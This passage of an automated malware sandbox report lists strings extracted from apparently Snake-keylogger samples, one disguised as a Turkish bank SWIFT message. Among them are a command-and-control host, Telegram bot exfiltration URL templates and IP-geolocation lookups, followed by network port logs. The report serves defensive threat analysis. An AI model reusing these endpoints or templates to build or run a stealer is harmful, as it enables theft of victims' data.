              Source: Native_New-Nova.exe, 00000009.00000002.2953521524.0000000002261000.00000004.00000020.00020000.00000000.sdmp, Native_New-Nova.exe, 00000009.00000002.2963089780.00000000035D1000.00000004.00000800.00020000.00000000.sdmp, Native_New-Nova.exe, 00000009.00000002.2954150757.00000000023E0000.00000004.08000000.00040000.00000000.sdmp, Native_New-Nova.exe, 00000009.00000003.1730790993.0000000000599000.00000004.00000020.00020000.00000000.sdmp, Native_New-Nova.exe, 00000009.00000002.2964658526.0000000004B10000.00000004.08000000.00040000.00000000.sdmp, Native_snake01.exe, 0000000A.00000002.2969436130.0000000004930000.00000004.08000000.00040000.00000000.sdmp, Native_snake01.exe, 0000000A.00000003.1732371805.0000000000768000.00000004.00000020.00020000.00000000.sdmp, Native_snake01.exe, 0000000A.00000002.2970078800.00000000049D0000.00000004.08000000.00040000.00000000.sdmp, Native_snake01.exe, 0000000A.00000002.2953656770.0000000002100000.00000004.00000020.00020000.00000000.sdmp, Native_New-Nova.exe, 00000010.00000002.2951469963.0000000002101000.00000004.00000020.00020000.00000000.sdmp, Native_New-Nova.exe, 00000010.00000002.2964034510.0000000004A80000.00000004.08000000.00040000.00000000.sdmp, Native_New-Nova.exe, 00000010.00000003.1775462812.000000000059F000.00000004.00000020.00020000.00000000.sdmp, Native_New-Nova.exe, 00000010.00000002.2962477768.0000000003421000.00000004.00000800.00020000.00000000.sdmp, Native_New-Nova.exe, 00000010.00000002.2965310039.00000000050B0000.00000004.08000000.00040000.00000000.sdmp, Native_snake01.exe, 00000011.00000002.2954940699.00000000021E0000.00000004.00000020.00020000.00000000.sdmp, Native_snake01.exe, 00000011.00000003.1776206771.0000000000680000.00000004.00000020.00020000.00000000.sdmp, Native_snake01.exe, 00000011.00000002.2969063278.00000000049C0000.00000004.08000000.00040000.00000000.sdmp, Native_snake01.exe, 00000011.00000002.2969184624.0000000004A10000.00000004.08000000.00040000.00000000.sdmpString found in binary or memory: http://checkip.dyndns.org/q
              Source: Native_New-Nova.exe, 00000009.00000002.2956686994.00000000026D8000.00000004.00000800.00020000.00000000.sdmp, Native_New-Nova.exe, 00000010.00000002.2954971703.0000000002526000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://reallyfreegeoip.org
              Source: Ziraat_Bankasi_Swift_Messaji.png.exe, 00000000.00000002.1750593373.0000000002AB1000.00000004.00000800.00020000.00000000.sdmp, Native_New-Nova.exe, 00000009.00000002.2956686994.000000000263B000.00000004.00000800.00020000.00000000.sdmp, Native_snake01.exe, 0000000A.00000002.2956341043.0000000002451000.00000004.00000800.00020000.00000000.sdmp, BZTCUCKTKd.exe, 0000000C.00000002.1791778716.0000000002C71000.00000004.00000800.00020000.00000000.sdmp, Native_New-Nova.exe, 00000010.00000002.2954971703.0000000002489000.00000004.00000800.00020000.00000000.sdmp, Native_snake01.exe, 00000011.00000002.2957921883.0000000002581000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
              Source: Native_snake01.exe, 0000000A.00000002.2956341043.0000000002451000.00000004.00000800.00020000.00000000.sdmp, Native_snake01.exe, 0000000A.00000002.2969436130.0000000004930000.00000004.08000000.00040000.00000000.sdmp, Native_snake01.exe, 0000000A.00000003.1732371805.0000000000768000.00000004.00000020.00020000.00000000.sdmp, Native_snake01.exe, 0000000A.00000002.2970078800.00000000049D0000.00000004.08000000.00040000.00000000.sdmp, Native_snake01.exe, 0000000A.00000002.2953656770.0000000002100000.00000004.00000020.00020000.00000000.sdmp, Native_snake01.exe, 00000011.00000002.2954940699.00000000021E0000.00000004.00000020.00020000.00000000.sdmp, Native_snake01.exe, 00000011.00000003.1776206771.0000000000680000.00000004.00000020.00020000.00000000.sdmp, Native_snake01.exe, 00000011.00000002.2969063278.00000000049C0000.00000004.08000000.00040000.00000000.sdmp, Native_snake01.exe, 00000011.00000002.2957921883.0000000002581000.00000004.00000800.00020000.00000000.sdmp, Native_snake01.exe, 00000011.00000002.2969184624.0000000004A10000.00000004.08000000.00040000.00000000.sdmpString found in binary or memory: http://varders.kozow.com:8081
              Source: Ziraat_Bankasi_Swift_Messaji.png.exe, 00000000.00000002.1756797187.0000000006DB2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
              Source: Ziraat_Bankasi_Swift_Messaji.png.exe, 00000000.00000002.1756797187.0000000006DB2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.carterandcone.coml
              Source: Ziraat_Bankasi_Swift_Messaji.png.exe, 00000000.00000002.1756797187.0000000006DB2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.fontbureau.com
              Source: Ziraat_Bankasi_Swift_Messaji.png.exe, 00000000.00000002.1756797187.0000000006DB2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.fontbureau.com/designers
              Source: Ziraat_Bankasi_Swift_Messaji.png.exe, 00000000.00000002.1756797187.0000000006DB2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.fontbureau.com/designers/?
              Source: Ziraat_Bankasi_Swift_Messaji.png.exe, 00000000.00000002.1756797187.0000000006DB2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.fontbureau.com/designers/cabarga.htmlN
              Source: Ziraat_Bankasi_Swift_Messaji.png.exe, 00000000.00000002.1756797187.0000000006DB2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.fontbureau.com/designers/frere-user.html
              Source: Ziraat_Bankasi_Swift_Messaji.png.exe, 00000000.00000002.1756797187.0000000006DB2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.fontbureau.com/designers8
              Source: Ziraat_Bankasi_Swift_Messaji.png.exe, 00000000.00000002.1756797187.0000000006DB2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.fontbureau.com/designers?
              Source: Ziraat_Bankasi_Swift_Messaji.png.exe, 00000000.00000002.1756797187.0000000006DB2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.fontbureau.com/designersG
              Source: Ziraat_Bankasi_Swift_Messaji.png.exe, 00000000.00000002.1756797187.0000000006DB2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.fonts.com
              Source: Ziraat_Bankasi_Swift_Messaji.png.exe, 00000000.00000002.1756797187.0000000006DB2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.founder.com.cn/cn
              Source: Ziraat_Bankasi_Swift_Messaji.png.exe, 00000000.00000002.1756797187.0000000006DB2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.founder.com.cn/cn/bThe
              Source: Ziraat_Bankasi_Swift_Messaji.png.exe, 00000000.00000002.1756797187.0000000006DB2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.founder.com.cn/cn/cThe
              Source: Ziraat_Bankasi_Swift_Messaji.png.exe, 00000000.00000002.1756797187.0000000006DB2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.galapagosdesign.com/DPlease
              Source: Ziraat_Bankasi_Swift_Messaji.png.exe, 00000000.00000002.1756797187.0000000006DB2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.galapagosdesign.com/staff/dennis.htm
              Source: Ziraat_Bankasi_Swift_Messaji.png.exe, 00000000.00000002.1756797187.0000000006DB2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.goodfont.co.kr
              Source: Ziraat_Bankasi_Swift_Messaji.png.exe, 00000000.00000002.1756797187.0000000006DB2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.jiyu-kobo.co.jp/
              Source: Ziraat_Bankasi_Swift_Messaji.png.exe, 00000000.00000002.1756797187.0000000006DB2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.sajatypeworks.com
              Source: Ziraat_Bankasi_Swift_Messaji.png.exe, 00000000.00000002.1756797187.0000000006DB2000.00000004.00000800.00020000.00000000.sdmp, Ziraat_Bankasi_Swift_Messaji.png.exe, 00000000.00000002.1756666228.0000000005CE4000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.sakkal.com
              Source: Ziraat_Bankasi_Swift_Messaji.png.exe, 00000000.00000002.1756797187.0000000006DB2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.sandoll.co.kr
              Source: Ziraat_Bankasi_Swift_Messaji.png.exe, 00000000.00000002.1756797187.0000000006DB2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.tiro.com
              Source: Ziraat_Bankasi_Swift_Messaji.png.exe, 00000000.00000002.1756797187.0000000006DB2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.typography.netD
              Source: Ziraat_Bankasi_Swift_Messaji.png.exe, 00000000.00000002.1756797187.0000000006DB2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.urwpp.deDPlease
              Source: Ziraat_Bankasi_Swift_Messaji.png.exe, 00000000.00000002.1756797187.0000000006DB2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.zhongyicts.com.cn
              Source: Native_snake01.exe, 0000000A.00000002.2961342775.0000000003785000.00000004.00000800.00020000.00000000.sdmp, Native_snake01.exe, 0000000A.00000002.2961342775.00000000037B8000.00000004.00000800.00020000.00000000.sdmp, Native_snake01.exe, 00000011.00000002.2961903524.00000000038E9000.00000004.00000800.00020000.00000000.sdmp, Native_snake01.exe, 00000011.00000002.2961903524.00000000038B5000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://ac.ecosia.org/autocomplete?q=
              Source: Native_snake01.exe, 0000000A.00000002.2956341043.0000000002539000.00000004.00000800.00020000.00000000.sdmp, Native_snake01.exe, 00000011.00000002.2957921883.0000000002668000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://api.telegram.org
              Source: Native_snake01.exe, 0000000A.00000002.2969436130.0000000004930000.00000004.08000000.00040000.00000000.sdmp, Native_snake01.exe, 0000000A.00000003.1732371805.0000000000768000.00000004.00000020.00020000.00000000.sdmp, Native_snake01.exe, 0000000A.00000002.2970078800.00000000049D0000.00000004.08000000.00040000.00000000.sdmp, Native_snake01.exe, 0000000A.00000002.2953656770.0000000002100000.00000004.00000020.00020000.00000000.sdmp, Native_snake01.exe, 0000000A.00000002.2956341043.0000000002539000.00000004.00000800.00020000.00000000.sdmp, Native_snake01.exe, 00000011.00000002.2954940699.00000000021E0000.00000004.00000020.00020000.00000000.sdmp, Native_snake01.exe, 00000011.00000003.1776206771.0000000000680000.00000004.00000020.00020000.00000000.sdmp, Native_snake01.exe, 00000011.00000002.2969063278.00000000049C0000.00000004.08000000.00040000.00000000.sdmp, Native_snake01.exe, 00000011.00000002.2957921883.0000000002668000.00000004.00000800.00020000.00000000.sdmp, Native_snake01.exe, 00000011.00000002.2969184624.0000000004A10000.00000004.08000000.00040000.00000000.sdmpString found in binary or memory: https://api.telegram.org/bot
              Source: Native_New-Nova.exe, 00000009.00000002.2953521524.0000000002261000.00000004.00000020.00020000.00000000.sdmp, Native_New-Nova.exe, 00000009.00000002.2963089780.00000000035D1000.00000004.00000800.00020000.00000000.sdmp, Native_New-Nova.exe, 00000009.00000002.2954150757.00000000023E0000.00000004.08000000.00040000.00000000.sdmp, Native_New-Nova.exe, 00000009.00000003.1730790993.0000000000599000.00000004.00000020.00020000.00000000.sdmp, Native_New-Nova.exe, 00000009.00000002.2964658526.0000000004B10000.00000004.08000000.00040000.00000000.sdmp, Native_New-Nova.exe, 00000010.00000002.2951469963.0000000002101000.00000004.00000020.00020000.00000000.sdmp, Native_New-Nova.exe, 00000010.00000002.2964034510.0000000004A80000.00000004.08000000.00040000.00000000.sdmp, Native_New-Nova.exe, 00000010.00000003.1775462812.000000000059F000.00000004.00000020.00020000.00000000.sdmp, Native_New-Nova.exe, 00000010.00000002.2962477768.0000000003421000.00000004.00000800.00020000.00000000.sdmp, Native_New-Nova.exe, 00000010.00000002.2965310039.00000000050B0000.00000004.08000000.00040000.00000000.sdmpString found in binary or memory: https://api.telegram.org/bot-/sendDocument?chat_id=
              Source: Native_snake01.exe, 0000000A.00000002.2956341043.0000000002539000.00000004.00000800.00020000.00000000.sdmp, Native_snake01.exe, 00000011.00000002.2957921883.0000000002668000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://api.telegram.org/bot/sendMessage?chat_id=&text=
              Source: Native_snake01.exe, 0000000A.00000002.2956341043.0000000002539000.00000004.00000800.00020000.00000000.sdmp, Native_snake01.exe, 00000011.00000002.2957921883.0000000002668000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:707748%0D%0ADate%20a
              Source: Native_snake01.exe, 0000000A.00000002.2961342775.0000000003785000.00000004.00000800.00020000.00000000.sdmp, Native_snake01.exe, 0000000A.00000002.2961342775.00000000037B8000.00000004.00000800.00020000.00000000.sdmp, Native_snake01.exe, 00000011.00000002.2961903524.00000000038E9000.00000004.00000800.00020000.00000000.sdmp, Native_snake01.exe, 00000011.00000002.2961903524.00000000038B5000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
              Source: Native_snake01.exe, 0000000A.00000002.2961342775.0000000003785000.00000004.00000800.00020000.00000000.sdmp, Native_snake01.exe, 0000000A.00000002.2961342775.00000000037B8000.00000004.00000800.00020000.00000000.sdmp, Native_snake01.exe, 00000011.00000002.2961903524.00000000038E9000.00000004.00000800.00020000.00000000.sdmp, Native_snake01.exe, 00000011.00000002.2961903524.00000000038B5000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
              Source: Native_snake01.exe, 0000000A.00000002.2961342775.0000000003785000.00000004.00000800.00020000.00000000.sdmp, Native_snake01.exe, 0000000A.00000002.2961342775.00000000037B8000.00000004.00000800.00020000.00000000.sdmp, Native_snake01.exe, 00000011.00000002.2961903524.00000000038E9000.00000004.00000800.00020000.00000000.sdmp, Native_snake01.exe, 00000011.00000002.2961903524.00000000038B5000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
              Source: Native_snake01.exe, 0000000A.00000002.2956341043.000000000255B000.00000004.00000800.00020000.00000000.sdmp, Native_snake01.exe, 00000011.00000002.2957921883.000000000268B000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://chrome.google.com/webstore?hl=en
              Source: Native_snake01.exe, 0000000A.00000002.2961342775.0000000003785000.00000004.00000800.00020000.00000000.sdmp, Native_snake01.exe, 0000000A.00000002.2961342775.00000000037B8000.00000004.00000800.00020000.00000000.sdmp, Native_snake01.exe, 00000011.00000002.2961903524.00000000038E9000.00000004.00000800.00020000.00000000.sdmp, Native_snake01.exe, 00000011.00000002.2961903524.00000000038B5000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://duckduckgo.com/ac/?q=
              Source: Native_snake01.exe, 0000000A.00000002.2961342775.0000000003785000.00000004.00000800.00020000.00000000.sdmp, Native_snake01.exe, 0000000A.00000002.2961342775.00000000037B8000.00000004.00000800.00020000.00000000.sdmp, Native_snake01.exe, 00000011.00000002.2961903524.00000000038E9000.00000004.00000800.00020000.00000000.sdmp, Native_snake01.exe, 00000011.00000002.2961903524.00000000038B5000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://duckduckgo.com/chrome_newtab
              Source: Native_snake01.exe, 0000000A.00000002.2961342775.0000000003785000.00000004.00000800.00020000.00000000.sdmp, Native_snake01.exe, 0000000A.00000002.2961342775.00000000037B8000.00000004.00000800.00020000.00000000.sdmp, Native_snake01.exe, 00000011.00000002.2961903524.00000000038E9000.00000004.00000800.00020000.00000000.sdmp, Native_snake01.exe, 00000011.00000002.2961903524.00000000038B5000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
              Source: Native_New-Nova.exe, 00000009.00000002.2956686994.00000000026BC000.00000004.00000800.00020000.00000000.sdmp, Native_snake01.exe, 0000000A.00000002.2956341043.0000000002510000.00000004.00000800.00020000.00000000.sdmp, Native_snake01.exe, 0000000A.00000002.2956341043.00000000024A0000.00000004.00000800.00020000.00000000.sdmp, Native_snake01.exe, 0000000A.00000002.2956341043.0000000002539000.00000004.00000800.00020000.00000000.sdmp, Native_New-Nova.exe, 00000010.00000002.2954971703.000000000250A000.00000004.00000800.00020000.00000000.sdmp, Native_snake01.exe, 00000011.00000002.2957921883.0000000002668000.00000004.00000800.00020000.00000000.sdmp, Native_snake01.exe, 00000011.00000002.2957921883.000000000263F000.00000004.00000800.00020000.00000000.sdmp, Native_snake01.exe, 00000011.00000002.2957921883.00000000025D0000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://reallyfreegeoip.org
              Source: Native_New-Nova.exe, 00000009.00000002.2953521524.0000000002261000.00000004.00000020.00020000.00000000.sdmp, Native_New-Nova.exe, 00000009.00000002.2963089780.00000000035D1000.00000004.00000800.00020000.00000000.sdmp, Native_New-Nova.exe, 00000009.00000002.2954150757.00000000023E0000.00000004.08000000.00040000.00000000.sdmp, Native_New-Nova.exe, 00000009.00000003.1730790993.0000000000599000.00000004.00000020.00020000.00000000.sdmp, Native_New-Nova.exe, 00000009.00000002.2956686994.00000000026BC000.00000004.00000800.00020000.00000000.sdmp, Native_New-Nova.exe, 00000009.00000002.2964658526.0000000004B10000.00000004.08000000.00040000.00000000.sdmp, Native_snake01.exe, 0000000A.00000002.2956341043.00000000024A0000.00000004.00000800.00020000.00000000.sdmp, Native_snake01.exe, 0000000A.00000002.2969436130.0000000004930000.00000004.08000000.00040000.00000000.sdmp, Native_snake01.exe, 0000000A.00000003.1732371805.0000000000768000.00000004.00000020.00020000.00000000.sdmp, Native_snake01.exe, 0000000A.00000002.2970078800.00000000049D0000.00000004.08000000.00040000.00000000.sdmp, Native_snake01.exe, 0000000A.00000002.2953656770.0000000002100000.00000004.00000020.00020000.00000000.sdmp, Native_New-Nova.exe, 00000010.00000002.2951469963.0000000002101000.00000004.00000020.00020000.00000000.sdmp, Native_New-Nova.exe, 00000010.00000002.2954971703.000000000250A000.00000004.00000800.00020000.00000000.sdmp, Native_New-Nova.exe, 00000010.00000002.2964034510.0000000004A80000.00000004.08000000.00040000.00000000.sdmp, Native_New-Nova.exe, 00000010.00000003.1775462812.000000000059F000.00000004.00000020.00020000.00000000.sdmp, Native_New-Nova.exe, 00000010.00000002.2962477768.0000000003421000.00000004.00000800.00020000.00000000.sdmp, Native_New-Nova.exe, 00000010.00000002.2965310039.00000000050B0000.00000004.08000000.00040000.00000000.sdmp, Native_snake01.exe, 00000011.00000002.2954940699.00000000021E0000.00000004.00000020.00020000.00000000.sdmp, Native_snake01.exe, 00000011.00000003.1776206771.0000000000680000.00000004.00000020.00020000.00000000.sdmp, Native_snake01.exe, 00000011.00000002.2969063278.00000000049C0000.00000004.08000000.00040000.00000000.sdmp, Native_snake01.exe, 00000011.00000002.2969184624.0000000004A10000.00000004.08000000.00040000.00000000.sdmpString found in binary or memory: https://reallyfreegeoip.org/xml/
              Source: Native_snake01.exe, 00000011.00000002.2957921883.00000000025D0000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://reallyfreegeoip.org/xml/8.46.123.189
              Source: Native_snake01.exe, 0000000A.00000002.2956341043.0000000002510000.00000004.00000800.00020000.00000000.sdmp, Native_snake01.exe, 0000000A.00000002.2956341043.00000000024CA000.00000004.00000800.00020000.00000000.sdmp, Native_snake01.exe, 0000000A.00000002.2956341043.0000000002539000.00000004.00000800.00020000.00000000.sdmp, Native_snake01.exe, 00000011.00000002.2957921883.0000000002668000.00000004.00000800.00020000.00000000.sdmp, Native_snake01.exe, 00000011.00000002.2957921883.00000000025FA000.00000004.00000800.00020000.00000000.sdmp, Native_snake01.exe, 00000011.00000002.2957921883.000000000263F000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://reallyfreegeoip.org/xml/8.46.123.189$
              Source: Native_New-Nova.exe, 00000009.00000002.2956686994.00000000026BC000.00000004.00000800.00020000.00000000.sdmp, Native_New-Nova.exe, 00000010.00000002.2954971703.000000000250A000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://reallyfreegeoip.org/xml/8.46.123.189l
              Source: Native_snake01.exe, 0000000A.00000002.2961342775.0000000003857000.00000004.00000800.00020000.00000000.sdmp, Native_snake01.exe, 0000000A.00000002.2961342775.0000000003733000.00000004.00000800.00020000.00000000.sdmp, Native_snake01.exe, 0000000A.00000002.2961342775.000000000362A000.00000004.00000800.00020000.00000000.sdmp, Native_snake01.exe, 0000000A.00000002.2956341043.000000000255B000.00000004.00000800.00020000.00000000.sdmp, Native_snake01.exe, 0000000A.00000002.2961342775.000000000347C000.00000004.00000800.00020000.00000000.sdmp, Native_snake01.exe, 0000000A.00000002.2961342775.0000000003652000.00000004.00000800.00020000.00000000.sdmp, Native_snake01.exe, 0000000A.00000002.2961342775.00000000035DD000.00000004.00000800.00020000.00000000.sdmp, Native_snake01.exe, 00000011.00000002.2957921883.000000000268B000.00000004.00000800.00020000.00000000.sdmp, Native_snake01.exe, 00000011.00000002.2961903524.00000000035AC000.00000004.00000800.00020000.00000000.sdmp, Native_snake01.exe, 00000011.00000002.2961903524.000000000375A000.00000004.00000800.00020000.00000000.sdmp, Native_snake01.exe, 00000011.00000002.2961903524.0000000003862000.00000004.00000800.00020000.00000000.sdmp, Native_snake01.exe, 00000011.00000002.2961903524.000000000370C000.00000004.00000800.00020000.00000000.sdmp, Native_snake01.exe, 00000011.00000002.2961903524.0000000003986000.00000004.00000800.00020000.00000000.sdmp, Native_snake01.exe, 00000011.00000002.2961903524.0000000003781000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
              Source: Native_snake01.exe, 0000000A.00000002.2961342775.000000000380F000.00000004.00000800.00020000.00000000.sdmp, Native_snake01.exe, 0000000A.00000002.2961342775.00000000035E3000.00000004.00000800.00020000.00000000.sdmp, Native_snake01.exe, 0000000A.00000002.2961342775.00000000035B8000.00000004.00000800.00020000.00000000.sdmp, Native_snake01.exe, 0000000A.00000002.2961342775.000000000370E000.00000004.00000800.00020000.00000000.sdmp, Native_snake01.exe, 0000000A.00000002.2961342775.000000000362D000.00000004.00000800.00020000.00000000.sdmp, Native_snake01.exe, 0000000A.00000002.2961342775.0000000003457000.00000004.00000800.00020000.00000000.sdmp, Native_snake01.exe, 00000011.00000002.2961903524.000000000375C000.00000004.00000800.00020000.00000000.sdmp, Native_snake01.exe, 00000011.00000002.2961903524.0000000003587000.00000004.00000800.00020000.00000000.sdmp, Native_snake01.exe, 00000011.00000002.2961903524.000000000393F000.00000004.00000800.00020000.00000000.sdmp, Native_snake01.exe, 00000011.00000002.2961903524.0000000003712000.00000004.00000800.00020000.00000000.sdmp, Native_snake01.exe, 00000011.00000002.2961903524.00000000036E7000.00000004.00000800.00020000.00000000.sdmp, Native_snake01.exe, 00000011.00000002.2961903524.000000000383D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples
              Source: Native_snake01.exe, 0000000A.00000002.2961342775.0000000003857000.00000004.00000800.00020000.00000000.sdmp, Native_snake01.exe, 0000000A.00000002.2961342775.0000000003733000.00000004.00000800.00020000.00000000.sdmp, Native_snake01.exe, 0000000A.00000002.2961342775.000000000362A000.00000004.00000800.00020000.00000000.sdmp, Native_snake01.exe, 0000000A.00000002.2956341043.000000000255B000.00000004.00000800.00020000.00000000.sdmp, Native_snake01.exe, 0000000A.00000002.2961342775.000000000347C000.00000004.00000800.00020000.00000000.sdmp, Native_snake01.exe, 0000000A.00000002.2961342775.0000000003652000.00000004.00000800.00020000.00000000.sdmp, Native_snake01.exe, 0000000A.00000002.2961342775.00000000035DD000.00000004.00000800.00020000.00000000.sdmp, Native_snake01.exe, 00000011.00000002.2957921883.000000000268B000.00000004.00000800.00020000.00000000.sdmp, Native_snake01.exe, 00000011.00000002.2961903524.00000000035AC000.00000004.00000800.00020000.00000000.sdmp, Native_snake01.exe, 00000011.00000002.2961903524.000000000375A000.00000004.00000800.00020000.00000000.sdmp, Native_snake01.exe, 00000011.00000002.2961903524.0000000003862000.00000004.00000800.00020000.00000000.sdmp, Native_snake01.exe, 00000011.00000002.2961903524.000000000370C000.00000004.00000800.00020000.00000000.sdmp, Native_snake01.exe, 00000011.00000002.2961903524.0000000003986000.00000004.00000800.00020000.00000000.sdmp, Native_snake01.exe, 00000011.00000002.2961903524.0000000003781000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
              Source: Native_snake01.exe, 0000000A.00000002.2961342775.000000000380F000.00000004.00000800.00020000.00000000.sdmp, Native_snake01.exe, 0000000A.00000002.2961342775.00000000035E3000.00000004.00000800.00020000.00000000.sdmp, Native_snake01.exe, 0000000A.00000002.2961342775.00000000035B8000.00000004.00000800.00020000.00000000.sdmp, Native_snake01.exe, 0000000A.00000002.2961342775.000000000370E000.00000004.00000800.00020000.00000000.sdmp, Native_snake01.exe, 0000000A.00000002.2961342775.000000000362D000.00000004.00000800.00020000.00000000.sdmp, Native_snake01.exe, 0000000A.00000002.2961342775.0000000003457000.00000004.00000800.00020000.00000000.sdmp, Native_snake01.exe, 00000011.00000002.2961903524.000000000375C000.00000004.00000800.00020000.00000000.sdmp, Native_snake01.exe, 00000011.00000002.2961903524.0000000003587000.00000004.00000800.00020000.00000000.sdmp, Native_snake01.exe, 00000011.00000002.2961903524.000000000393F000.00000004.00000800.00020000.00000000.sdmp, Native_snake01.exe, 00000011.00000002.2961903524.0000000003712000.00000004.00000800.00020000.00000000.sdmp, Native_snake01.exe, 00000011.00000002.2961903524.00000000036E7000.00000004.00000800.00020000.00000000.sdmp, Native_snake01.exe, 00000011.00000002.2961903524.000000000383D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install
              Source: Native_snake01.exe, 0000000A.00000002.2961342775.0000000003785000.00000004.00000800.00020000.00000000.sdmp, Native_snake01.exe, 0000000A.00000002.2961342775.00000000037B8000.00000004.00000800.00020000.00000000.sdmp, Native_snake01.exe, 00000011.00000002.2961903524.00000000038E9000.00000004.00000800.00020000.00000000.sdmp, Native_snake01.exe, 00000011.00000002.2961903524.00000000038B5000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://www.ecosia.org/newtab/
              Source: Native_snake01.exe, 0000000A.00000002.2961342775.0000000003785000.00000004.00000800.00020000.00000000.sdmp, Native_snake01.exe, 0000000A.00000002.2961342775.00000000037B8000.00000004.00000800.00020000.00000000.sdmp, Native_snake01.exe, 00000011.00000002.2961903524.00000000038E9000.00000004.00000800.00020000.00000000.sdmp, Native_snake01.exe, 00000011.00000002.2961903524.00000000038B5000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
              Source: Native_snake01.exe, 0000000A.00000002.2956341043.000000000255B000.00000004.00000800.00020000.00000000.sdmp, Native_snake01.exe, 00000011.00000002.2957921883.000000000268B000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://www.office.com/
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49744
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49766
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49743
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49742
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49764
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49762
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49760
              Source: unknownNetwork traffic detected: HTTP traffic on port 63642 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49766 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49743 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49760 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49762 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49746 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49764 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49745 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 63649
              Source: unknownNetwork traffic detected: HTTP traffic on port 49751 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 63653 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49759
              Source: unknownNetwork traffic detected: HTTP traffic on port 63655 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49759 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 63642
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 63645
              Source: unknownNetwork traffic detected: HTTP traffic on port 49755 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49756
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49755
              Source: unknownNetwork traffic detected: HTTP traffic on port 63645 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49752
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49751
              Source: unknownNetwork traffic detected: HTTP traffic on port 49742 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49747 -> 443
